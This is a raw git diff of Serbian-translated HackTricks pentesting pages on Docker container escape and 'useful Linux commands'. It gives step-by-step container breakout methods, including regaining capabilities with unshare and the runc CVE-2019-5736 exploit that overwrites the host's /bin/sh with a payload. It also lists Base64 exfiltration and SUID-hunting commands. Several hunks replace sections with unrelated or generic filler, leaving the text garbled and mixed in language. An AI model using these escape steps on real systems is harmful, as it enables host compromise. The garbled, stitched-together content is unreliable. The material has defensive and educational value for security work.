* **Pregledajte postojeće IPC objekte** - Možete proveriti da li se koriste neki IPC objekti sa `/usr/bin/ipcs`. Proverite sa: `ipcs -a`
|
||||
* **Pregledajte /dev/shm** - Potražite datoteke na ovom mestu deljene memorije: `ls -la /dev/shm`
|
||||
* **Pregled postojećih IPC objekata** - Možete proveriti da li se koriste neki IPC objekti sa `/usr/bin/ipcs`. Proverite sa: `ipcs -a`
|
||||
|
||||
### Vraćanje privilegija
|
||||
### Vraćanje sposobnosti
|
||||
|
||||
Ako syscall **`unshare`** nije zabranjen, možete povratiti sve privilegije pokretanjem:
|
||||
Ako syscall **`unshare`** nije zabranjen, možete povratiti sve sposobnosti pokretanjem:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Zloupotreba korisničkog imenskog prostora putem simboličkih veza
|
||||
### Zloupotreba korisničkog prostora putem simboličkih veza
|
||||
|
||||
Druga tehnika objašnjena u postu [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) pokazuje kako možete zloupotrebiti bind montaže sa korisničkim imenskim prostorima da biste uticali na datoteke unutar hosta (u tom specifičnom slučaju, brisanje datoteka).
|
||||
Druga tehnika objašnjena u postu [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) pokazuje kako možete zloupotrebiti bind montaže sa korisničkim prostorima, da biste uticali na datoteke unutar domaćina (u tom specifičnom slučaju, brisanje datoteka).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -497,14 +493,14 @@ Dobijte pristup danas:
|
|||
|
||||
### Runc eksploatacija (CVE-2019-5736)
|
||||
|
||||
U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** binarnu datoteku _**/bin/sh**_ na **hostu** **iz kontejnera**, tako da bilo ko ko izvršava docker exec može pokrenuti payload.
|
||||
U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** binarnu datoteku _**/bin/sh**_ domaćina **iz kontejnera**, tako da bilo ko ko izvrši docker exec može pokrenuti payload.
|
||||
|
||||
Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Dobijeni binarni fajl treba da se postavi u docker kontejner radi izvršavanja.\
|
||||
Prilikom izvršavanja, čim prikaže `[+] Overwritten /bin/sh successfully`, trebate izvršiti sledeće sa host mašine:
|
||||
Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Rezultujuću binarnu datoteku treba postaviti u docker kontejner radi izvršenja.\
|
||||
Prilikom izvršenja, čim prikaže `[+] Overwritten /bin/sh successfully` treba izvršiti sledeće sa mašine domaćina:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
Ovo će pokrenuti payload koji se nalazi u fajlu main.go.
|
||||
Ovo će pokrenuti payload koji se nalazi u datoteci main.go.
|
||||
|
||||
Za više informacija: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
|
@ -516,7 +512,7 @@ Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći li
|
|||
|
||||
### Površina bekstva iz Docker-a
|
||||
|
||||
* **Imenski prostori**: Proces treba da bude **potpuno odvojen od drugih procesa** putem imenskih prostora, tako da ne možemo izbeći interakciju sa drugim procesima zbog imenskih prostora (podrazumevano ne može komunicirati putem IPC-a, Unix soketa, mrežnih servisa, D-Bus-a, `/proc` drugih procesa).
|
||||
* **Prostori imena:** Proces bi trebalo da bude **potpuno odvojen od drugih procesa** putem prostora imena, tako da ne možemo pobeći interakcijom sa drugim procesima zbog prostora imena (podrazumevano ne može komunicirati putem IPC-a, unix soketa, mrežnih usluga, D-Bus-a, `/proc` drugih procesa).
|
||||
* **Root korisnik**: Podrazumevano, korisnik koji pokreće proces je root korisnik (međutim, njegove privilegije su ograničene).
|
||||
* **Ovlašćenja**: Docker ostavlja sledeća ovlašćenja: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Sistemski pozivi**: Ovo su sistemski pozivi koje **root korisnik neće moći da pozove** (zbog nedostatka ovlašćenja + Seccomp). Ostali sistemski pozivi mogu se koristiti za pokušaj bekstva.
|
||||
|
@ -543,27 +539,40 @@ Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći li
|
|||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% tab title="arm64 syscalls" %}
|
||||
{% endtab %}
|
||||
|
||||
## arm64 syscalls
|
||||
{% tab title="arm64 syscalls" %}
|
||||
|
||||
arm64 syscalls are defined in the `arch/arm64/include/uapi/asm/unistd.h` file in the Linux kernel source code. These syscalls provide a way for user-space programs to interact with the kernel and perform privileged operations.
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
To call a syscall in arm64, you need to use the `svc` instruction with the syscall number in the `x8` register and the syscall arguments in the `x0` to `x7` registers. The result of the syscall is returned in the `x0` register.
|
||||
### Description
|
||||
|
||||
Here is an example of how to call the `open` syscall in arm64:
|
||||
Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the host operating system. This can lead to full control of the host machine and potentially compromise the entire system.
|
||||
|
||||
```assembly
|
||||
mov x8, #2 // syscall number for open
|
||||
mov x0, #0 // file path (null terminated string)
|
||||
mov x1, #0 // flags
|
||||
mov x2, #0 // mode
|
||||
svc #0 // call the syscall
|
||||
```
|
||||
### Attack Scenario
|
||||
|
||||
You can find the syscall numbers for arm64 in the `arch/arm64/include/uapi/asm/unistd.h` file. Each syscall is assigned a unique number, which you can use to call the syscall.
|
||||
1. **Identify Docker Container**: The attacker first needs to identify a target Docker container running on the host machine.
|
||||
|
||||
It's important to note that calling syscalls directly in your code should be done with caution, as it can lead to security vulnerabilities. It's recommended to use the standard library functions or system calls wrappers provided by the operating system whenever possible.
|
||||
2. **Exploit Vulnerabilities**: The attacker then exploits vulnerabilities within the Docker container to gain access to the host system.
|
||||
|
||||
3. **Privilege Escalation**: By escalating privileges within the container, the attacker can break out of the container and access the host operating system.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To prevent Docker breakout privilege escalation, follow these best practices:
|
||||
|
||||
- **Update Docker**: Regularly update Docker to patch known vulnerabilities.
|
||||
- **Use Appropriate Permissions**: Ensure that Docker containers are running with the least privileges necessary.
|
||||
- **Monitor Container Activity**: Monitor container activity for any suspicious behavior.
|
||||
- **Implement Network Segmentation**: Implement network segmentation to limit the impact of a breakout.
|
||||
- **Use Security Tools**: Utilize security tools to detect and prevent privilege escalation attempts.
|
||||
|
||||
By following these mitigation strategies, you can reduce the risk of Docker breakout privilege escalation attacks.
|
||||
|
||||
### References
|
||||
|
||||
- [Docker Security](https://docs.docker.com/engine/security/)
|
||||
- [Docker Security Best Practices](https://cloudberry.engineering/article/docker-security-best-practices/)
|
||||
|
||||
{% endtab %}
|
||||
```
|
||||
|
@ -583,7 +592,37 @@ It's important to note that calling syscalls directly in your code should be don
|
|||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
{% tab title="syscall_bf.c" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
Ovaj exploit koristi `CAP_SYS_ADMIN` capability da bi se izvršio `mknod` syscall unutar Docker kontejnera, što omogućava kreiranje setuid fajla unutar kontejnera. Taj fajl se zatim može koristiti za pokretanje root shell-a unutar kontejnera, omogućavajući privilegovanu eskalaciju.
|
||||
|
||||
### Korišćenje
|
||||
|
||||
Kompajlirajte exploit korišćenjem priloženog Makefile-a:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
Pokrenite exploit:
|
||||
|
||||
```bash
|
||||
./syscall_bf
|
||||
```
|
||||
|
||||
### Zahtevi
|
||||
|
||||
Da bi ovaj exploit radio, Docker kontejner mora biti pokrenut sa `--cap-add=SYS_ADMIN` opcijom.
|
||||
|
||||
### Napomena
|
||||
|
||||
Ovaj exploit je namenjen isključivo u obrazovne svrhe i ne sme se koristiti bez odgovarajuće dozvole. Autori ovog exploit-a nisu odgovorni za zloupotrebu ili štetu nastalu korišćenjem ovog koda.
|
||||
|
||||
{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -647,7 +686,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
@ -663,7 +702,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,10 @@
|
|||
# Korisne Linux komande
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -13,15 +14,15 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Uobičajene Bash komande
|
||||
## Uobičajene Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -140,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -170,19 +171,13 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
Grep je moćan alat za pretragu i filtriranje teksta. Koristi se za pronalaženje linija teksta koje odgovaraju određenom obrascu. Evo nekoliko korisnih grep komandi:
|
||||
Grep je moćna komanda za pretragu teksta koja se koristi za pronalaženje određenih reči ili uzoraka unutar datoteka. Može se koristiti za pretragu jedne datoteke ili više datoteka odjednom. Na primer:
|
||||
|
||||
- `grep pattern file`: Pretražuje datoteku za linije koje sadrže određeni obrazac.
|
||||
- `grep -i pattern file`: Pretražuje datoteku za linije koje sadrže određeni obrazac, bez obzira na veličinu slova.
|
||||
- `grep -v pattern file`: Pretražuje datoteku za linije koje ne sadrže određeni obrazac.
|
||||
- `grep -r pattern directory`: Rekurzivno pretražuje direktorijum i sve poddirektorijume za linije koje sadrže određeni obrazac.
|
||||
- `grep -l pattern file`: Ispisuje samo imena datoteka koje sadrže određeni obrazac.
|
||||
- `grep -n pattern file`: Ispisuje linije koje sadrže određeni obrazac, zajedno sa brojevima linija.
|
||||
- `grep -E pattern file`: Koristi proširene regularne izraze za pretragu datoteke.
|
||||
- `grep -o pattern file`: Ispisuje samo podudarajući deo linije koji odgovara određenom obrascu.
|
||||
- `grep -c pattern file`: Broji koliko puta se određeni obrazac pojavljuje u datoteci.
|
||||
```bash
|
||||
grep "pattern" file.txt
|
||||
```
|
||||
|
||||
Ove grep komande su samo osnovne, ali mogu biti vrlo korisne prilikom pretrage i filtriranja teksta.
|
||||
Ova komanda će pretražiti datoteku `file.txt` i ispisati sve linije koje sadrže dati uzorak.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -263,108 +258,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
|||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Pronađi
|
||||
|
||||
---
|
||||
|
||||
### Find Files by Name
|
||||
|
||||
### Pronađi fajlove po imenu
|
||||
|
||||
To find files in Linux based on their names, you can use the `find` command. The basic syntax is as follows:
|
||||
|
||||
Da biste pronašli fajlove u Linuxu na osnovu njihovih imena, možete koristiti `find` komandu. Osnovna sintaksa je sledeća:
|
||||
|
||||
```bash
|
||||
find <directory> -name "<filename>"
|
||||
```
|
||||
|
||||
Replace `<directory>` with the directory where you want to start the search, and `<filename>` with the name of the file you are looking for. You can use wildcards (`*`) to match multiple files or parts of a filename.
|
||||
|
||||
Zamenite `<directory>` direktorijumom u kojem želite da započnete pretragu, a `<filename>` imenom fajla koji tražite. Možete koristiti džokere (`*`) da biste pronašli više fajlova ili delove imena fajla.
|
||||
|
||||
For example, to find all files with the extension `.txt` in the current directory, you can use the following command:
|
||||
|
||||
Na primer, da biste pronašli sve fajlove sa ekstenzijom `.txt` u trenutnom direktorijumu, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
find . -name "*.txt"
|
||||
```
|
||||
|
||||
This will search for all files ending with `.txt` in the current directory and its subdirectories.
|
||||
|
||||
Ovo će pretražiti sve fajlove koji se završavaju sa `.txt` u trenutnom direktorijumu i njegovim poddirektorijumima.
|
||||
|
||||
### Find Files by Type
|
||||
|
||||
### Pronađi fajlove po tipu
|
||||
|
||||
To find files based on their type, you can use the `-type` option with the `find` command. The syntax is as follows:
|
||||
|
||||
Da biste pronašli fajlove na osnovu njihovog tipa, možete koristiti opciju `-type` sa `find` komandom. Sintaksa je sledeća:
|
||||
|
||||
```bash
|
||||
find <directory> -type <filetype>
|
||||
```
|
||||
|
||||
Replace `<directory>` with the directory where you want to start the search, and `<filetype>` with the type of file you are looking for. Some common file types are:
|
||||
|
||||
Zamenite `<directory>` direktorijumom u kojem želite da započnete pretragu, a `<filetype>` tipom fajla koji tražite. Neki uobičajeni tipovi fajlova su:
|
||||
|
||||
- `f` for regular files
|
||||
- `d` for directories
|
||||
- `l` for symbolic links
|
||||
- `c` for character devices
|
||||
- `b` for block devices
|
||||
- `p` for named pipes
|
||||
- `s` for sockets
|
||||
|
||||
- `f` za obične fajlove
|
||||
- `d` za direktorijume
|
||||
- `l` za simboličke veze
|
||||
- `c` za karakteristične uređaje
|
||||
- `b` za blok uređaje
|
||||
- `p` za imenovane cevi
|
||||
- `s` za sokete
|
||||
|
||||
For example, to find all directories in the current directory, you can use the following command:
|
||||
|
||||
Na primer, da biste pronašli sve direktorijume u trenutnom direktorijumu, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
find . -type d
|
||||
```
|
||||
|
||||
This will search for all directories in the current directory and its subdirectories.
|
||||
|
||||
Ovo će pretražiti sve direktorijume u trenutnom direktorijumu i njegovim poddirektorijumima.
|
||||
|
||||
### Find Files by Size
|
||||
|
||||
### Pronađi fajlove po veličini
|
||||
|
||||
To find files based on their size, you can use the `-size` option with the `find` command. The syntax is as follows:
|
||||
|
||||
Da biste pronašli fajlove na osnovu njihove veličine, možete koristiti opciju `-size` sa `find` komandom. Sintaksa je sledeća:
|
||||
|
||||
```bash
|
||||
find <directory> -size <size>
|
||||
```
|
||||
|
||||
Replace `<directory>` with the directory where you want to start the search, and `<size>` with the size of the file you are looking for. You can specify the size in bytes (`b`), kilobytes (`k`), megabytes (`M`), gigabytes (`G`), or terabytes (`T`).
|
||||
|
||||
Zamenite `<directory>` direktorijumom u kojem želite da započnete pretragu, a `<size>` veličinom fajla koji tražite. Možete navesti veličinu u bajtovima (`b`), kilobajtima (`k`), megabajtima (`M`), gigabajtima (`G`) ili terabajtima (`T`).
|
||||
|
||||
For example, to find all files larger than 1 megabyte in the current directory, you can use the following command:
|
||||
|
||||
Na primer, da biste pronašli sve fajlove veće od 1 megabajta u trenutnom direktorijumu, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
find . -size +1M
|
||||
```
|
||||
|
||||
This will search for all files larger than 1 megabyte in the current directory and its subdirectories.
|
||||
|
||||
Ovo će pretražiti sve fajlove veće od 1 megabajta u trenutnom direktorijumu i njegovim poddirektorijumima.
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
@ -394,90 +287,18 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
|
|||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap pretraga pomoć
|
||||
|
||||
Nmap je moćan alat za skeniranje mreže koji se koristi za otkrivanje otvorenih portova, identifikaciju servisa koji rade na tim portovima i mapiranje mrežne topologije. Ovde su neki korisni Nmap parametri koji vam mogu pomoći u vašim pretragama:
|
||||
|
||||
- `-p <portovi>`: Određuje specifične portove koje želite da skenirate. Možete navesti pojedinačne portove ili opseg portova, na primer `-p 80` ili `-p 1-100`.
|
||||
|
||||
- `-sS`: Vrši TCP SYN skeniranje, koje je brže od standardnog TCP skeniranja. Ovaj parametar se koristi za otkrivanje otvorenih portova.
|
||||
|
||||
- `-sU`: Vrši UDP skeniranje, koje se koristi za otkrivanje otvorenih UDP portova.
|
||||
|
||||
- `-O`: Pokušava identifikovati operativni sistem ciljnog računara na osnovu karakteristika mrežnog protokola.
|
||||
|
||||
- `-A`: Izvršava detaljan skeniranje, uključujući otkrivanje operativnog sistema, verzije servisa i druge informacije.
|
||||
|
||||
- `-v`: Prikazuje detaljnije informacije o skeniranju.
|
||||
|
||||
- `-oN <ime_fajla>`: Snima rezultate skeniranja u određeni fajl.
|
||||
|
||||
Ovo su samo neki od parametara koje možete koristiti sa Nmap-om. Za više informacija o Nmap-u i njegovim mogućnostima, možete pogledati zvaničnu dokumentaciju.
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
Bash (Bourne Again SHell) je popularan interpreter komandne linije i skripting jezik koji se često koristi u Linux okruženju. Ovde su neke korisne komande koje možete koristiti u Bash-u:
|
||||
|
||||
- `ls`: Prikazuje sadržaj trenutnog direktorijuma.
|
||||
- `cd`: Menja trenutni direktorijum.
|
||||
- `pwd`: Prikazuje putanju do trenutnog direktorijuma.
|
||||
- `mkdir`: Kreira novi direktorijum.
|
||||
- `rm`: Briše fajl ili direktorijum.
|
||||
- `cp`: Kopira fajl ili direktorijum.
|
||||
- `mv`: Premešta fajl ili direktorijum.
|
||||
- `cat`: Prikazuje sadržaj fajla.
|
||||
- `grep`: Pretražuje fajl za određeni tekst.
|
||||
- `chmod`: Menja dozvole pristupa fajlovima i direktorijumima.
|
||||
- `chown`: Menja vlasnika fajla ili direktorijuma.
|
||||
- `ps`: Prikazuje aktivne procese.
|
||||
- `kill`: Prekida izvršavanje procesa.
|
||||
- `top`: Prikazuje informacije o trenutno aktivnim procesima.
|
||||
- `history`: Prikazuje istoriju komandi koje su izvršene.
|
||||
|
||||
Ovo su samo neke od mnogih korisnih komandi koje možete koristiti u Bash-u. Bash pruža mnoge mogućnosti za automatizaciju zadataka i manipulaciju sistemom, pa je važno da se upoznate sa ovim komandama kako biste efikasno radili u Linux okruženju.
|
||||
## Baš
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables je alat za konfigurisanje firewall-a u Linux operativnom sistemu. Koristi se za kontrolu ulaznog i izlaznog saobraćaja na mreži, kao i za filtriranje paketa na osnovu različitih kriterijuma.
|
||||
|
||||
### Osnovne komande
|
||||
|
||||
- `iptables -L`: Prikazuje trenutna pravila firewall-a.
|
||||
- `iptables -F`: Briše sva pravila iz firewall-a.
|
||||
- `iptables -A`: Dodaje novo pravilo u firewall.
|
||||
- `iptables -D`: Briše postojeće pravilo iz firewall-a.
|
||||
- `iptables -P`: Postavlja podrazumevano ponašanje firewall-a.
|
||||
|
||||
### Pravila
|
||||
|
||||
Pravila u iptables-u se sastoje od različitih delova koji definišu uslove filtriranja paketa. Evo nekoliko osnovnih delova pravila:
|
||||
|
||||
- `--source`: Definiše izvor paketa.
|
||||
- `--destination`: Definiše odredište paketa.
|
||||
- `--protocol`: Definiše protokol koji se koristi (npr. TCP, UDP, ICMP).
|
||||
- `--sport`: Definiše izvorni port paketa.
|
||||
- `--dport`: Definiše odredišni port paketa.
|
||||
- `--in-interface`: Definiše ulazno mrežno sučelje.
|
||||
- `--out-interface`: Definiše izlazno mrežno sučelje.
|
||||
|
||||
### Primeri
|
||||
|
||||
Evo nekoliko primera kako se koriste komande iptables:
|
||||
|
||||
- `iptables -A INPUT -p tcp --dport 22 -j ACCEPT`: Ovo pravilo dozvoljava ulazni TCP saobraćaj na portu 22 (SSH).
|
||||
- `iptables -A OUTPUT -p udp --dport 53 -j ACCEPT`: Ovo pravilo dozvoljava izlazni UDP saobraćaj na portu 53 (DNS).
|
||||
- `iptables -A INPUT -s 192.168.0.0/24 -j DROP`: Ovo pravilo blokira sav ulazni saobraćaj sa IP adrese 192.168.0.0/24.
|
||||
|
||||
### Napomena
|
||||
|
||||
Nakon što se pravila dodaju ili promene, potrebno je sačuvati ih kako bi bila trajna. U suprotnom, pravila će biti izgubljena prilikom restartovanja sistema. Da biste sačuvali pravila, možete koristiti komandu `iptables-save` i sačuvati rezultat u odgovarajući konfiguracioni fajl.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -514,18 +335,18 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
